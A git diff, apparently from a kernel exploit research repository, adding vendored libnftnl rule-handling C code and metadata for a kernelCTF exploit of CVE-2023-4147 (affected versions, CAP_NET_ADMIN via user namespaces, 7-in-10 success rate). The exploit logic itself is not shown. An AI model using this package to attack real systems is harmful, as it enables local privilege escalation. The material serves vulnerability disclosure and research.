nftnl_rule_is_set(const struct nftnl_rule *r, uint16_t attr) +{ + return r->flags & (1 << attr); +} + +EXPORT_SYMBOL(nftnl_rule_unset); +void nftnl_rule_unset(struct nftnl_rule *r, uint16_t attr) +{ + if (!(r->flags & (1 << attr))) + return; + + switch (attr) { + case NFTNL_RULE_TABLE: + xfree(r->table); + break; + case NFTNL_RULE_CHAIN: + xfree(r->chain); + break; + case NFTNL_RULE_CHAIN_ID: + case NFTNL_RULE_HANDLE: + case NFTNL_RULE_COMPAT_PROTO: + case NFTNL_RULE_COMPAT_FLAGS: + case NFTNL_RULE_POSITION: + case NFTNL_RULE_FAMILY: + case NFTNL_RULE_ID: + case NFTNL_RULE_POSITION_ID: + break; + case NFTNL_RULE_USERDATA: + xfree(r->user.data); + break; + } + + r->flags &= ~(1 << attr); +} + +static uint32_t nftnl_rule_validate[NFTNL_RULE_MAX + 1] = { + [NFTNL_RULE_CHAIN_ID] = sizeof(uint32_t), + [NFTNL_RULE_HANDLE] = sizeof(uint64_t), + [NFTNL_RULE_COMPAT_PROTO] = sizeof(uint32_t), + [NFTNL_RULE_COMPAT_FLAGS] = sizeof(uint32_t), + [NFTNL_RULE_FAMILY] = sizeof(uint32_t), + [NFTNL_RULE_POSITION] = sizeof(uint64_t), + [NFTNL_RULE_ID] = sizeof(uint32_t), + [NFTNL_RULE_POSITION_ID] = sizeof(uint32_t), +}; + +EXPORT_SYMBOL(nftnl_rule_set_data); +int nftnl_rule_set_data(struct nftnl_rule *r, uint16_t attr, + const void *data, uint32_t data_len) +{ + nftnl_assert_attr_exists(attr, NFTNL_RULE_MAX); + nftnl_assert_validate(data, nftnl_rule_validate, attr, data_len); + + switch(attr) { + case NFTNL_RULE_TABLE: + if (r->flags & (1 << NFTNL_RULE_TABLE)) + xfree(r->table); + + r->table = strdup(data); + if (!r->table) + return -1; + break; + case NFTNL_RULE_CHAIN: + if (r->flags & (1 << NFTNL_RULE_CHAIN)) + xfree(r->chain); + + r->chain = strdup(data); + if (!r->chain) + return -1; + break; + case NFTNL_RULE_CHAIN_ID: + memcpy(&r->chain_id, data, sizeof(r->chain_id)); + break; + case NFTNL_RULE_HANDLE: + memcpy(&r->handle, data, sizeof(r->handle)); + break; + case NFTNL_RULE_COMPAT_PROTO: + memcpy(&r->compat.proto, data, sizeof(r->compat.proto)); + break; + case NFTNL_RULE_COMPAT_FLAGS: + memcpy(&r->compat.flags, data, sizeof(r->compat.flags)); + break; + case NFTNL_RULE_FAMILY: + memcpy(&r->family, data, sizeof(r->family)); + break; + case NFTNL_RULE_POSITION: + memcpy(&r->position, data, sizeof(r->position)); + break; + case NFTNL_RULE_USERDATA: + if (r->flags & (1 << NFTNL_RULE_USERDATA)) + xfree(r->user.data); + + r->user.data = malloc(data_len); + if (!r->user.data) + return -1; + + memcpy(r->user.data, data, data_len); + r->user.len = data_len; + break; + case NFTNL_RULE_ID: + memcpy(&r->id, data, sizeof(r->id)); + break; + case NFTNL_RULE_POSITION_ID: + memcpy(&r->position_id, data, sizeof(r->position_id)); + break; + } + r->flags |= (1 << attr); + return 0; +} + +int nftnl_rule_set(struct nftnl_rule *r, uint16_t attr, const void *data) __visible; +int nftnl_rule_set(struct nftnl_rule *r, uint16_t attr, const void *data) +{ + return nftnl_rule_set_data(r, attr, data, nftnl_rule_validate[attr]); +} + +EXPORT_SYMBOL(nftnl_rule_set_u32); +void nftnl_rule_set_u32(struct nftnl_rule *r, uint16_t attr, uint32_t val) +{ + nftnl_rule_set_data(r, attr, &val, sizeof(uint32_t)); +} + +EXPORT_SYMBOL(nftnl_rule_set_u64); +void nftnl_rule_set_u64(struct nftnl_rule *r, uint16_t attr, uint64_t val) +{ + nftnl_rule_set_data(r, attr, &val, sizeof(uint64_t)); +} + +EXPORT_SYMBOL(nftnl_rule_set_str); +int nftnl_rule_set_str(struct nftnl_rule *r, uint16_t attr, const char *str) +{ + return nftnl_rule_set_data(r, attr, str, strlen(str) + 1); +} + +EXPORT_SYMBOL(nftnl_rule_get_data); +const void *nftnl_rule_get_data(const struct nftnl_rule *r, uint16_t attr, + uint32_t *data_len) +{ + if (!(r->flags & (1 << attr))) + return NULL; + + switch(attr) { + case NFTNL_RULE_FAMILY: + *data_len = sizeof(uint32_t); + return &r->family; + case NFTNL_RULE_TABLE: + *data_len = strlen(r->table) + 1; + return r->table; + case NFTNL_RULE_CHAIN: + *data_len = strlen(r->chain) + 1; + return r->chain; + case NFTNL_RULE_CHAIN_ID: + *data_len = sizeof(uint32_t); + return &r->chain_id; + case NFTNL_RULE_HANDLE: + *data_len = sizeof(uint64_t); + return &r->handle; + case NFTNL_RULE_COMPAT_PROTO: + *data_len = sizeof(uint32_t); + return &r->compat.proto; + case NFTNL_RULE_COMPAT_FLAGS: + *data_len = sizeof(uint32_t); + return &r->compat.flags; + case NFTNL_RULE_POSITION: + *data_len = sizeof(uint64_t); + return &r->position; + case NFTNL_RULE_USERDATA: + *data_len = r->user.len; + return r->user.data; + case NFTNL_RULE_ID: + *data_len = sizeof(uint32_t); + return &r->id; + case NFTNL_RULE_POSITION_ID: + *data_len = sizeof(uint32_t); + return &r->position_id; + } + return NULL; +} + +EXPORT_SYMBOL(nftnl_rule_get); +const void *nftnl_rule_get(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + return nftnl_rule_get_data(r, attr, &data_len); +} + +EXPORT_SYMBOL(nftnl_rule_get_str); +const char *nftnl_rule_get_str(const struct nftnl_rule *r, uint16_t attr) +{ + return nftnl_rule_get(r, attr); +} + +EXPORT_SYMBOL(nftnl_rule_get_u32); +uint32_t nftnl_rule_get_u32(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + const uint32_t *val = nftnl_rule_get_data(r, attr, &data_len); + + nftnl_assert(val, attr, data_len == sizeof(uint32_t)); + + return val ? *val : 0; +} + +EXPORT_SYMBOL(nftnl_rule_get_u64); +uint64_t nftnl_rule_get_u64(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + const uint64_t *val = nftnl_rule_get_data(r, attr, &data_len); + + nftnl_assert(val, attr, data_len == sizeof(uint64_t)); + + return val ? *val : 0; +} + +EXPORT_SYMBOL(nftnl_rule_get_u8); +uint8_t nftnl_rule_get_u8(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + const uint8_t *val = nftnl_rule_get_data(r, attr, &data_len); + + nftnl_assert(val, attr, data_len == sizeof(uint8_t)); + + return val ? *val : 0; +} + +EXPORT_SYMBOL(nftnl_rule_nlmsg_build_payload); +void nftnl_rule_nlmsg_build_payload(struct nlmsghdr *nlh, struct nftnl_rule *r) +{ + struct nftnl_expr *expr; + struct nlattr *nest, *nest2; + + if (r->flags & (1 << NFTNL_RULE_TABLE)) + mnl_attr_put_strz(nlh, NFTA_RULE_TABLE, r->table); + if (r->flags & (1 << NFTNL_RULE_CHAIN)) + mnl_attr_put_strz(nlh, NFTA_RULE_CHAIN, r->chain); + if (r->flags & (1 << NFTNL_RULE_CHAIN_ID)) + mnl_attr_put_u32(nlh, NFTA_RULE_CHAIN_ID, htobe32(r->chain_id)); + if (r->flags & (1 << NFTNL_RULE_HANDLE)) + mnl_attr_put_u64(nlh, NFTA_RULE_HANDLE, htobe64(r->handle)); + if (r->flags & (1 << NFTNL_RULE_POSITION)) + mnl_attr_put_u64(nlh, NFTA_RULE_POSITION, htobe64(r->position)); + if (r->flags & (1 << NFTNL_RULE_USERDATA)) { + mnl_attr_put(nlh, NFTA_RULE_USERDATA, r->user.len, + r->user.data); + } + + if (!list_empty(&r->expr_list)) { + nest = mnl_attr_nest_start(nlh, NFTA_RULE_EXPRESSIONS); + list_for_each_entry(expr, &r->expr_list, head) { + nest2 = mnl_attr_nest_start(nlh, NFTA_LIST_ELEM); + nftnl_expr_build_payload(nlh, expr); + mnl_attr_nest_end(nlh, nest2); + } + mnl_attr_nest_end(nlh, nest); + } + + if (r->flags & (1 << NFTNL_RULE_COMPAT_PROTO) && + r->flags & (1 << NFTNL_RULE_COMPAT_FLAGS)) { + + nest = mnl_attr_nest_start(nlh, NFTA_RULE_COMPAT); + mnl_attr_put_u32(nlh, NFTA_RULE_COMPAT_PROTO, + htonl(r->compat.proto)); + mnl_attr_put_u32(nlh, NFTA_RULE_COMPAT_FLAGS, + htonl(r->compat.flags)); + mnl_attr_nest_end(nlh, nest); + } + if (r->flags & (1 << NFTNL_RULE_ID)) + mnl_attr_put_u32(nlh, NFTA_RULE_ID, htonl(r->id)); + if (r->flags & (1 << NFTNL_RULE_POSITION_ID)) + mnl_attr_put_u32(nlh, NFTA_RULE_POSITION_ID, htonl(r->position_id)); +} + +EXPORT_SYMBOL(nftnl_rule_add_expr); +void nftnl_rule_add_expr(struct nftnl_rule *r, struct nftnl_expr *expr) +{ + list_add_tail(&expr->head, &r->expr_list); +} + +EXPORT_SYMBOL(nftnl_rule_del_expr); +void nftnl_rule_del_expr(struct nftnl_expr *expr) +{ + list_del(&expr->head); +} + +static int nftnl_rule_parse_attr_cb(const struct nlattr *attr, void *data) +{ + const struct nlattr **tb = data; + int type = mnl_attr_get_type(attr); + + if (mnl_attr_type_valid(attr, NFTA_RULE_MAX) < 0) + return MNL_CB_OK; + + switch(type) { + case NFTA_RULE_TABLE: + case NFTA_RULE_CHAIN: + if (mnl_attr_validate(attr, MNL_TYPE_STRING) < 0) + abi_breakage(); + break; + case NFTA_RULE_HANDLE: + if (mnl_attr_validate(attr, MNL_TYPE_U64) < 0) + abi_breakage(); + break; + case NFTA_RULE_COMPAT: + if (mnl_attr_validate(attr, MNL_TYPE_NESTED) < 0) + abi_breakage(); + break; + case NFTA_RULE_POSITION: + if (mnl_attr_validate(attr, MNL_TYPE_U64) < 0) + abi_breakage(); + break; + case NFTA_RULE_USERDATA: + if (mnl_attr_validate(attr, MNL_TYPE_BINARY) < 0) + abi_breakage(); + break; + case NFTA_RULE_ID: + case NFTA_RULE_POSITION_ID: + if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) + abi_breakage(); + break; + } + + tb[type] = attr; + return MNL_CB_OK; +} + +static int nftnl_rule_parse_expr(struct nlattr *nest, struct nftnl_rule *r) +{ + struct nftnl_expr *expr; + struct nlattr *attr; + + mnl_attr_for_each_nested(attr, nest) { + if (mnl_attr_get_type(attr) != NFTA_LIST_ELEM) + return -1; + + expr = nftnl_expr_parse(attr); + if (expr == NULL) + return -1; + + list_add_tail(&expr->head, &r->expr_list); + } + return 0; +} + +static int nftnl_rule_parse_compat_cb(const struct nlattr *attr, void *data) +{ + const struct nlattr **tb = data; + int type = mnl_attr_get_type(attr); + + if (mnl_attr_type_valid(attr, NFTA_RULE_COMPAT_MAX) < 0) + return MNL_CB_OK; + + switch(type) { + case NFTA_RULE_COMPAT_PROTO: + case NFTA_RULE_COMPAT_FLAGS: + if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) + abi_breakage(); + break; + } + + tb[type] = attr; + return MNL_CB_OK; +} + +static int nftnl_rule_parse_compat(struct nlattr *nest, struct nftnl_rule *r) +{ + struct nlattr *tb[NFTA_RULE_COMPAT_MAX+1] = {}; + + if (mnl_attr_parse_nested(nest, nftnl_rule_parse_compat_cb, tb) < 0) + return -1; + + if (tb[NFTA_RULE_COMPAT_PROTO]) { + r->compat.proto = + ntohl(mnl_attr_get_u32(tb[NFTA_RULE_COMPAT_PROTO])); + r->flags |= (1 << NFTNL_RULE_COMPAT_PROTO); + } + if (tb[NFTA_RULE_COMPAT_FLAGS]) { + r->compat.flags = + ntohl(mnl_attr_get_u32(tb[NFTA_RULE_COMPAT_FLAGS])); + r->flags |= (1 << NFTNL_RULE_COMPAT_FLAGS); + } + return 0; +} + +EXPORT_SYMBOL(nftnl_rule_nlmsg_parse); +int nftnl_rule_nlmsg_parse(const struct nlmsghdr *nlh, struct nftnl_rule *r) +{ + struct nlattr *tb[NFTA_RULE_MAX+1] = {}; + struct nfgenmsg *nfg = mnl_nlmsg_get_payload(nlh); + int ret; + + if (mnl_attr_parse(nlh, sizeof(*nfg), nftnl_rule_parse_attr_cb, tb) < 0) + return -1; + + if (tb[NFTA_RULE_TABLE]) { + if (r->flags & (1 << NFTNL_RULE_TABLE)) + xfree(r->table); + r->table = strdup(mnl_attr_get_str(tb[NFTA_RULE_TABLE])); + if (!r->table) + return -1; + r->flags |= (1 << NFTNL_RULE_TABLE); + } + if (tb[NFTA_RULE_CHAIN]) { + if (r->flags & (1 << NFTNL_RULE_CHAIN)) + xfree(r->chain); + r->chain = strdup(mnl_attr_get_str(tb[NFTA_RULE_CHAIN])); + if (!r->chain) + return -1; + r->flags |= (1 << NFTNL_RULE_CHAIN); + } + if (tb[NFTA_RULE_CHAIN_ID]) { + r->chain_id = be32toh(mnl_attr_get_u64(tb[NFTA_RULE_CHAIN_ID])); + r->flags |= (1 << NFTNL_RULE_CHAIN_ID); + } + if (tb[NFTA_RULE_HANDLE]) { + r->handle = be64toh(mnl_attr_get_u64(tb[NFTA_RULE_HANDLE])); + r->flags |= (1 << NFTNL_RULE_HANDLE); + } + if (tb[NFTA_RULE_EXPRESSIONS]) { + ret = nftnl_rule_parse_expr(tb[NFTA_RULE_EXPRESSIONS], r); + if (ret < 0) + return ret; + } + if (tb[NFTA_RULE_COMPAT]) { + ret = nftnl_rule_parse_compat(tb[NFTA_RULE_COMPAT], r); + if (ret < 0) + return ret; + } + if (tb[NFTA_RULE_POSITION]) { + r->position = be64toh(mnl_attr_get_u64(tb[NFTA_RULE_POSITION])); + r->flags |= (1 << NFTNL_RULE_POSITION); + } + if (tb[NFTA_RULE_USERDATA]) { + const void *udata = + mnl_attr_get_payload(tb[NFTA_RULE_USERDATA]); + + if (r->flags & (1 << NFTNL_RULE_USERDATA)) + xfree(r->user.data); + + r->user.len = mnl_attr_get_payload_len(tb[NFTA_RULE_USERDATA]); + + r->user.data = malloc(r->user.len); + if (r->user.data == NULL) + return -1; + + memcpy(r->user.data, udata, r->user.len); + r->flags |= (1 << NFTNL_RULE_USERDATA); + } + if (tb[NFTA_RULE_ID]) { + r->id = ntohl(mnl_attr_get_u32(tb[NFTA_RULE_ID])); + r->flags |= (1 << NFTNL_RULE_ID); + } + if (tb[NFTA_RULE_POSITION_ID]) { + r->position_id = ntohl(mnl_attr_get_u32(tb[NFTA_RULE_POSITION_ID])); + r->flags |= (1 << NFTNL_RULE_POSITION_ID); + } + + r->family = nfg->nfgen_family; + r->flags |= (1 << NFTNL_RULE_FAMILY); + + return 0; +} + +static int nftnl_rule_do_parse(struct nftnl_rule *r, enum nftnl_parse_type type, + const void *data, struct nftnl_parse_err *err, + enum nftnl_parse_input input) +{ + int ret; + struct nftnl_parse_err perr = {}; + + switch (type) { + case NFTNL_PARSE_JSON: + case NFTNL_PARSE_XML: + default: + ret = -1; + errno = EOPNOTSUPP; + break; + } + if (err != NULL) + *err = perr; + + return ret; +} + +EXPORT_SYMBOL(nftnl_rule_parse); +int nftnl_rule_parse(struct nftnl_rule *r, enum nftnl_parse_type type, + const char *data, struct nftnl_parse_err *err) +{ + return nftnl_rule_do_parse(r, type, data, err, NFTNL_PARSE_BUFFER); +} + +EXPORT_SYMBOL(nftnl_rule_parse_file); +int nftnl_rule_parse_file(struct nftnl_rule *r, enum nftnl_parse_type type, + FILE *fp, struct nftnl_parse_err *err) +{ + return nftnl_rule_do_parse(r, type, fp, err, NFTNL_PARSE_FILE); +} + +static int nftnl_rule_snprintf_default(char *buf, size_t remain, + const struct nftnl_rule *r, + uint32_t type, uint32_t flags) +{ + struct nftnl_expr *expr; + int ret, offset = 0, i; + const char *sep = ""; + + if (r->flags & (1 << NFTNL_RULE_FAMILY)) { + ret = snprintf(buf + offset, remain, "%s%s", sep, + nftnl_family2str(r->family)); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_TABLE)) { + ret = snprintf(buf + offset, remain, "%s%s", sep, + r->table); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_CHAIN)) { + ret = snprintf(buf + offset, remain, "%s%s", sep, + r->chain); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + if (r->flags & (1 << NFTNL_RULE_HANDLE)) { + ret = snprintf(buf + offset, remain, "%s%" PRIu64, sep, + r->handle); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_POSITION)) { + ret = snprintf(buf + offset, remain, "%s%" PRIu64, sep, + r->position); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_ID)) { + ret = snprintf(buf + offset, remain, "%s%u", sep, r->id); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_POSITION_ID)) { + ret = snprintf(buf + offset, remain, "%s%u", sep, + r->position_id); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + ret = snprintf(buf + offset, remain, "\n"); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + list_for_each_entry(expr, &r->expr_list, head) { + ret = snprintf(buf + offset, remain, " [ %s ", expr->ops->name); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + ret = nftnl_expr_snprintf(buf + offset, remain, expr, + type, flags); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + ret = snprintf(buf + offset, remain, "]\n"); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + } + + if (r->user.len) { + ret = snprintf(buf + offset, remain, " userdata = { "); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + for (i = 0; i < r->user.len; i++) { + char *c = r->user.data; + + ret = snprintf(buf + offset, remain, + isprint(c[i]) ? "%c" : "\\x%02hhx", + c[i]); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + } + + ret = snprintf(buf + offset, remain, " }"); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + } + + return offset; +} + +static int nftnl_rule_cmd_snprintf(char *buf, size_t remain, + const struct nftnl_rule *r, uint32_t cmd, + uint32_t type, uint32_t flags) +{ + uint32_t inner_flags = flags; + int ret, offset = 0; + + inner_flags &= ~NFTNL_OF_EVENT_ANY; + + if (type != NFTNL_OUTPUT_DEFAULT) + return -1; + + ret = nftnl_rule_snprintf_default(buf + offset, remain, r, type, + inner_flags); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + return offset; +} + +EXPORT_SYMBOL(nftnl_rule_snprintf); +int nftnl_rule_snprintf(char *buf, size_t size, const struct nftnl_rule *r, + uint32_t type, uint32_t flags) +{ + if (size) + buf[0] = '\0'; + + return nftnl_rule_cmd_snprintf(buf, size, r, nftnl_flag2cmd(flags), type, + flags); +} + +static int nftnl_rule_do_snprintf(char *buf, size_t size, const void *r, + uint32_t cmd, uint32_t type, uint32_t flags) +{ + return nftnl_rule_snprintf(buf, size, r, type, flags); +} + +EXPORT_SYMBOL(nftnl_rule_fprintf); +int nftnl_rule_fprintf(FILE *fp, const struct nftnl_rule *r, uint32_t type, + uint32_t flags) +{ + return nftnl_fprintf(fp, r, NFTNL_CMD_UNSPEC, type, flags, + nftnl_rule_do_snprintf); +} + +EXPORT_SYMBOL(nftnl_expr_foreach); +int nftnl_expr_foreach(struct nftnl_rule *r, + int (*cb)(struct nftnl_expr *e, void *data), + void *data) +{ + struct nftnl_expr *cur, *tmp; + int ret; + + list_for_each_entry_safe(cur, tmp, &r->expr_list, head) { + ret = cb(cur, data); + if (ret < 0) + return ret; + } + return 0; +} + +struct nftnl_expr_iter { + const struct nftnl_rule *r; + struct nftnl_expr *cur; +}; + +static void nftnl_expr_iter_init(const struct nftnl_rule *r, + struct nftnl_expr_iter *iter) +{ + iter->r = r; + if (list_empty(&r->expr_list)) + iter->cur = NULL; + else + iter->cur = list_entry(r->expr_list.next, struct nftnl_expr, + head); +} + +EXPORT_SYMBOL(nftnl_expr_iter_create); +struct nftnl_expr_iter *nftnl_expr_iter_create(const struct nftnl_rule *r) +{ + struct nftnl_expr_iter *iter; + + iter = calloc(1, sizeof(struct nftnl_expr_iter)); + if (iter == NULL) + return NULL; + + nftnl_expr_iter_init(r, iter); + + return iter; +} + +EXPORT_SYMBOL(nftnl_expr_iter_next); +struct nftnl_expr *nftnl_expr_iter_next(struct nftnl_expr_iter *iter) +{ + struct nftnl_expr *expr = iter->cur; + + if (expr == NULL) + return NULL; + + /* get next expression, if any */ + iter->cur = list_entry(iter->cur->head.next, struct nftnl_expr, head); + if (&iter->cur->head == iter->r->expr_list.next) + return NULL; + + return expr; +} + +EXPORT_SYMBOL(nftnl_expr_iter_destroy); +void nftnl_expr_iter_destroy(struct nftnl_expr_iter *iter) +{ + xfree(iter); +} + +struct nftnl_rule_list { + struct list_head list; +}; + +EXPORT_SYMBOL(nftnl_rule_list_alloc); +struct nftnl_rule_list *nftnl_rule_list_alloc(void) +{ + struct nftnl_rule_list *list; + + list = calloc(1, sizeof(struct nftnl_rule_list)); + if (list == NULL) + return NULL; + + INIT_LIST_HEAD(&list->list); + + return list; +} + +EXPORT_SYMBOL(nftnl_rule_list_free); +void nftnl_rule_list_free(struct nftnl_rule_list *list) +{ + struct nftnl_rule *r, *tmp; + + list_for_each_entry_safe(r, tmp, &list->list, head) { + list_del(&r->head); + nftnl_rule_free(r); + } + xfree(list); +} + +EXPORT_SYMBOL(nftnl_rule_list_is_empty); +int nftnl_rule_list_is_empty(const struct nftnl_rule_list *list) +{ + return list_empty(&list->list); +} + +EXPORT_SYMBOL(nftnl_rule_list_add); +void nftnl_rule_list_add(struct nftnl_rule *r, struct nftnl_rule_list *list) +{ + list_add(&r->head, &list->list); +} + +EXPORT_SYMBOL(nftnl_rule_list_insert_at); +void nftnl_rule_list_insert_at(struct nftnl_rule *r, struct nftnl_rule *pos) +{ + list_add(&r->head, &pos->head); +} + +EXPORT_SYMBOL(nftnl_rule_list_add_tail); +void nftnl_rule_list_add_tail(struct nftnl_rule *r, struct nftnl_rule_list *list) +{ + list_add_tail(&r->head, &list->list); +} + +EXPORT_SYMBOL(nftnl_rule_list_del); +void nftnl_rule_list_del(struct nftnl_rule *r) +{ + list_del(&r->head); +} + +EXPORT_SYMBOL(nftnl_rule_list_foreach); +int nftnl_rule_list_foreach(struct nftnl_rule_list *rule_list, + int (*cb)(struct nftnl_rule *r, void *data), + void *data) +{ + struct nftnl_rule *cur, *tmp; + int ret; + + list_for_each_entry_safe(cur, tmp, &rule_list->list, head) { + ret = cb(cur, data); + if (ret < 0) + return ret; + } + return 0; +} + +struct nftnl_rule_list_iter { + const struct nftnl_rule_list *list; + struct nftnl_rule *cur; +}; + +EXPORT_SYMBOL(nftnl_rule_list_iter_create); +struct nftnl_rule_list_iter * +nftnl_rule_list_iter_create(const struct nftnl_rule_list *l) +{ + struct nftnl_rule_list_iter *iter; + + iter = calloc(1, sizeof(struct nftnl_rule_list_iter)); + if (iter == NULL) + return NULL; + + iter->list = l; + if (nftnl_rule_list_is_empty(l)) + iter->cur = NULL; + else + iter->cur = list_entry(l->list.next, struct nftnl_rule, head); + + return iter; +} + +EXPORT_SYMBOL(nftnl_rule_list_iter_cur); +struct nftnl_rule *nftnl_rule_list_iter_cur(struct nftnl_rule_list_iter *iter) +{ + return iter->cur; +} + +EXPORT_SYMBOL(nftnl_rule_list_iter_next); +struct nftnl_rule *nftnl_rule_list_iter_next(struct nftnl_rule_list_iter *iter) +{ + struct nftnl_rule *r = iter->cur; + + if (r == NULL) + return NULL; + + /* get next rule, if any */ + iter->cur = list_entry(iter->cur->head.next, struct nftnl_rule, head); + if (&iter->cur->head == iter->list->list.next) + return NULL; + + return r; +} + +EXPORT_SYMBOL(nftnl_rule_list_iter_destroy); +void nftnl_rule_list_iter_destroy(const struct nftnl_rule_list_iter *iter) +{ + xfree(iter); +} diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/rule.h b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/rule.h new file mode 100644 index 00000000..6781aa70 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/rule.h @@ -0,0 +1,28 @@ +#ifndef _LIBNFTNL_RULE_INTERNAL_H_ +#define _LIBNFTNL_RULE_INTERNAL_H_ + +struct nftnl_rule { + struct list_head head; + + uint32_t flags; + uint32_t family; + const char *table; + const char *chain; + uint32_t chain_id; + uint64_t handle; + uint64_t position; + uint32_t id; + uint32_t position_id; + struct { + void *data; + uint32_t len; + } user; + struct { + uint32_t flags; + uint32_t proto; + } compat; + + struct list_head expr_list; +}; + +#endif diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/metadata.json new file mode 100644 index 00000000..e278dfa2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/metadata.json @@ -0,0 +1,34 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp86" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ebc1064e4874d5987722a2ddbc18f94aa53b211", + "cve":"CVE-2023-4147", + "affected_versions":[ + "5.9-rc1 - 6.5-rc3" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits": { + "mitigation-6.1": { + "uses":[ + "userns" + ], + "requires_separate_kaslr_leak":false, + "stability_notes":"7 times success per 10 times run" + } + } + } \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/original.tar.gz new file mode 100644 index 00000000..3640d179 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/original.tar.gz differ